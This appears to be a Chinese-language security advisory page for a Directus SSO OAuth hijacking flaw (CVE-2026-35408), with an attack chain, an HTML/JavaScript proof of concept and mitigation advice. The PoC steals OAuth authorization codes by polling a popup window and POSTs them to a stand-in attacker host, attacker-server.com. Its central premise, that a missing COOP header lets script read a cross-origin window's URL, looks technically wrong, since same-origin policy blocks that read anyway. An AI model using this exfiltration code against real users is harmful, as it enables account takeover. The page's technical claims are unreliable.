IPBUF安全漏洞报告
English
CVE-2026-35408 CVSS 8.7 高危

CVE-2026-35408 Directus SSO OAuth劫持漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35408
漏洞类型
OAuth劫持
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Directus

相关标签

OAuth劫持SSODirectusCOOP高危

漏洞概述

Directus在11.17.0之前的版本中,其单点登录(SSO)页面因缺少Cross-Origin-Opener-Policy (COOP) HTTP响应头,导致跨源窗口能够访问页面对象。攻击者可利用该缺陷拦截OAuth授权流程,诱导受害者将身份验证权限授予攻击者控制的客户端,从而窃取账户访问权限。

技术细节

该漏洞的核心在于Directus SSO登录页面未实施`Cross-Origin-Opener-Policy` (COOP) 安全机制。在OAuth 2.0流程中,合法的重定向通常涉及用户与授权提供商的交互。当攻击者诱导用户访问恶意站点时,站点脚本可使用`window.open`打开Directus的登录URL。由于缺少COOP头部,浏览器不会将新打开的窗口与恶意站点所在的浏览上下文组隔离。这使得攻击者能够通过JavaScript保持对Directus窗口对象的引用,监控其DOM变化或URL跳转。攻击者可以在OAuth回调阶段,利用这种跨源访问能力窃取授权码,或者通过DOM操作修改重定向目标,将认证流量引向攻击者注册的恶意OAuth客户端。最终导致受害者凭据被劫持。

攻击链分析

STEP 1
1. 诱导访问
攻击者诱导受害者访问一个托管了恶意脚本的网站。
STEP 2
2. 打开窗口
恶意网站使用 window.open() 打开Directus的SSO登录页面。由于缺少COOP头部,浏览器允许跨源访问。
STEP 3
3. 用户认证
受害者在弹出的Directus窗口中完成正常的OAuth登录流程(如输入Google账号密码)。
STEP 4
4. 拦截令牌
认证成功后,Directus重定向回应用。恶意脚本读取重定向URL中的 authorization code 或 token。
STEP 5
5. 劫持会话
攻击者将截获的 code 发送到自己的服务器,换取访问令牌,从而控制受害者账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Attacker Page: exploit.html --> <!DOCTYPE html> <html> <head> <title>Wait for redirect...</title> </head> <body> <h2>Please wait while we redirect you...</h2> <script> // The target Directus SSO URL const targetUrl = 'https://target-directus-instance.com/auth/login/google'; // Open the Directus SSO page in a new window // Due to missing COOP header, this window remains accessible const openedWindow = window.open(targetUrl, 'DirectusLogin', 'width=500,height=600'); // Polling loop to check if the window has been redirected back to Directus const checkInterval = setInterval(() => { try { // Check if the window is closed if (openedWindow.closed) { clearInterval(checkInterval); return; } // Access the URL of the opened window (Possible because of missing COOP) const currentUrl = openedWindow.location.href; // Look for the authorization code or state in the URL if (currentUrl.includes('code=')) { console.log('Authorization Code intercepted:', currentUrl); // Send the intercepted URL to the attacker's server fetch('https://attacker-server.com/steal', { method: 'POST', body: JSON.stringify({ url: currentUrl }) }); // Close the window and clear interval openedWindow.close(); clearInterval(checkInterval); // Redirect victim to legitimate site to avoid suspicion window.location.href = 'https://target-directus-instance.com/admin'; } } catch (e) { // Access might be blocked if COOP was present, but here it is not console.log('Waiting for user interaction...'); } }, 1000); </script> </body> </html>

影响范围

Directus < 11.17.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用SSO登录功能,或者在网络边界设备上为相关路径手动注入COOP响应头以隔离跨源窗口访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表